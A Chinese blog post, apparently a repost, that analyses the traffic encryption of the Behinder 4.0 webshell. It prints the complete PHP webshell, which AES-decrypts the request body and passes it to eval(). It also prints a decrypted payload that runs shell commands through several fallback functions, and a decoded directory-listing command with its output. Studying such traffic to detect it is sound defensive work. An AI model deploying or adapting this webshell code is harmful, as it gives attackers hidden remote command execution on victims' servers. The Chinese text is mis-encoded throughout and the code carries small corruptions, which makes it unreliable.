網(wǎng)絡(luò)安全中流量加密實(shí)現(xiàn)工具冰蝎4.0介紹
前幾天寫(xiě)完了蟻劍,今天就研究下冰蝎吧,
冰蝎最主要的是可以流量加密,由于其密鑰是可隨機(jī)變化而無(wú)法深度了解特征
在最新的冰蝎 4.0 中,有多種加密方式,比如 異或 ,基于 Base64 的異或,在要么就是經(jīng)典的 AES 加密等等共有 6 種加密方式,不同的加密方式其服務(wù)端的文件也是不一樣的的
從冰蝎 3.0 開(kāi)始,開(kāi)始了密鑰預(yù)共享制度,也就是在 WebShell 發(fā)過(guò)去的時(shí)候,密鑰就提前發(fā)了過(guò)去,避免了在傳輸密鑰的時(shí)候檢測(cè)到了流量特征
這六種加密方式在 WireShark 種都是加密狀態(tài),在這里就選一種來(lái)說(shuō)明吧
就用 aes_with_magic 來(lái)說(shuō)明吧
我們可以先看看服務(wù)端的文件
<?php
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的??16位,默認(rèn)連接密碼rebeyond
$magicNum=hexdec(substr($key,0,2))%16; //取magic tail長(zhǎng)度
$data=substr($data,0,strlen($data)-$magicNum); //截掉magic tail
return openssl_decrypt(base64_decode($data), "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING);
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
?>開(kāi)發(fā)者在注釋上說(shuō)的很明白了,所以我就不再描述了
我們看看客戶端都發(fā)送了什么
讓我們利用 WireShark 抓包

難道我們就沒(méi)有辦法看源代碼了嗎?
不要著急,冰蝎提供了加解密模塊,就讓我們利用這個(gè)加解密模塊

然后我們經(jīng)過(guò)代碼格式化,就得到了一下代碼內(nèi)容
<?php
@error_reporting(0);
function getSafeStr($str) {
$s1 = iconv('utf-8', 'gbk//IGNORE', $str);
$s0 = iconv('gbk', 'utf-8//IGNORE', $s1);
if ($s0 == $str) {
return $s0;
} else {
return iconv('gbk','u tf-8//IGNORE', $str);
}
}
function main($cmd, $path) {
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (!empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and !$Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and !$Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes);
$kWJW = NULL;
while (!feof($pipes[1])) {
$kWJW.= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and !$Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and !$Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and !$Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and !$Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (!feof($fp)) {
$kWJW.= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function Encrypt($data) {
$key = "e45e329feb5d925b"; //該密鑰為連接密碼32位md5值的??16位,默認(rèn)連接密碼rebeyond
$encrypted=base64_encode(openssl_encrypt($data, "AES-128-ECB", $key,OPENSSL_PKCS1_PADDING));
$magicNum=hexdec(substr($key,0,2))%16; //根據(jù)密鑰動(dòng)???確定魔法尾巴的長(zhǎng)度
for($i=0;$i<$magicNum;$i++)
{
encrypted=$encrypted.chr(mt_rand(0, 255)); //拼接魔法尾巴
}
return $encrypted;
}
$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ;
$cmd=base64_decode($cmd);
$path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ;
$path=base64_decode($path);
main($cmd,$path);
?>實(shí)際上這段代碼比蟻劍的更簡(jiǎn)單(還是說(shuō)我看蟻劍看的理解力提升了)
另外我們發(fā)送的指令并沒(méi)有在流量包里利用 POST 發(fā)送,而是直接放在代碼里,也就是以下部分
$cmd="Y2QgL3Vzci9zaGFyZS9uZ2lueC9odG1sLyA7bHM=" ; $cmd=base64_decode($cmd); $path="L3Vzci9zaGFyZS9uZ2lueC9odG1sLw==" ; $path=base64_decode($path); main($cmd,$path);
根據(jù)代碼可以看出是以 Base64 編碼的(都挺喜歡base64的)
這時(shí)候我們?nèi)?Base64 解碼的界面看一下

我們可以看見(jiàn)要執(zhí)行的文件路徑和命令
這些代碼的邏輯也很簡(jiǎn)單,收到數(shù)據(jù)進(jìn)行編碼,然后執(zhí)行 main 函數(shù),
這個(gè) main 函數(shù)中有著路徑處理和 exec 敏感函數(shù)等處理
最后在輸出結(jié)果的時(shí)候把字符串統(tǒng)一歸為 UTF-8 輸出
根據(jù)代碼,我們將輸出 status 和 msg 兩個(gè)鍵,分別表示結(jié)果和值然后用 Base64 加密
根據(jù)抓包解密可以得出以下內(nèi)容
mAUYLzmqn5QPDkyI5lvSp6DmrC24FW39Y4YsJhUqS7ZaYDIyHvQh3/rMjX01idF5A7UT6WKV/UN03gJabE2ZujoOYc/9WqnITIllXWXAt5uVnTlg08cteJYAmd9QKIu6xaqxV+4tL3vQe+voHNzIQU9prCMLpt9BiX4spz4lSDb+B0z851g/J7gU6v//pfaM1gMJBmsU54VA6eTzaUYZ4bcLm/G0Tgfl3Bg25+WXmCw=\
解密
{
"status":"c3VjY2Vzcw==",
"msg":"NDA0Lmh0bWwKNTB4Lmh0bWwKZW4tVVMKaWNvbnMKaW1nCmluZGV4LnBocApuZ2lueC1sb2dvLnBuZwpwb3dlcmVkYnkucG5nCnNoZWxsLnBocApzaGVsbDIucGhwCg=="
}
然后我們?nèi)ソ獯a

這時(shí)候我們得到了 success 狀態(tài)(代碼里面也有寫(xiě) Fail ,估計(jì)是操作不當(dāng)了),以及文件里面的路徑
流量特征說(shuō)實(shí)話很難摸透,除非短時(shí)間內(nèi)有大量相同的開(kāi)頭,這就得好好商榷了
- 題外話
我發(fā)現(xiàn)新版的冰蝎多了很多好用的功能,比方平行空間,這么就可以看見(jiàn)局域網(wǎng)內(nèi)存活的主機(jī)了
根據(jù)開(kāi)發(fā)者說(shuō)還可以蝎中蝎
到此這篇關(guān)于網(wǎng)絡(luò)安全中流量加密實(shí)現(xiàn)工具冰蝎4.0介紹的文章就介紹到這了,更多相關(guān)網(wǎng)絡(luò)安全冰蝎內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!
相關(guān)文章
網(wǎng)絡(luò)安全滲透測(cè)試反序列化漏洞分析與復(fù)現(xiàn)工作
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全滲透測(cè)試反序列化漏洞分析與復(fù)現(xiàn)的工作流程,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2022-02-02
Web網(wǎng)絡(luò)安全分析二次注入攻擊原理詳解
這篇文章主要為大家講解介紹了Web網(wǎng)絡(luò)安全分析二次注入攻擊原理的詳解,有需要相關(guān)學(xué)習(xí)的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2021-11-11
無(wú)線網(wǎng)攻擊工具進(jìn)攻方法及防范技巧小結(jié)
對(duì)無(wú)線網(wǎng)安全攻防有興趣的人應(yīng)該都需要一套工具,英特網(wǎng)上有很多免費(fèi)的工具。本文不求全面,但求能提供一些指導(dǎo)和建議。2008-02-02
16進(jìn)制的轉(zhuǎn)換之javascript運(yùn)行時(shí)會(huì)自動(dòng)轉(zhuǎn)碼
16進(jìn)制的轉(zhuǎn)換之javascript運(yùn)行時(shí)會(huì)自動(dòng)轉(zhuǎn)碼...2007-05-05
Web網(wǎng)絡(luò)安全分析堆疊查詢注入攻擊原理
這篇文章主要為大家介紹了Web網(wǎng)絡(luò)安全分析堆疊查詢注入攻擊的原理詳解,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步2021-11-11
網(wǎng)站存在啊D注入工具的SQL注入點(diǎn)的修復(fù)方法
我的網(wǎng)站還有我給老師做的單片機(jī)網(wǎng)站相繼被黑,從他那得知,他用的是“啊D注入工具”,先找我的網(wǎng)站是否存在可注入點(diǎn),如果有,進(jìn)行注入,能夠破解得到后臺(tái)密碼2012-12-12

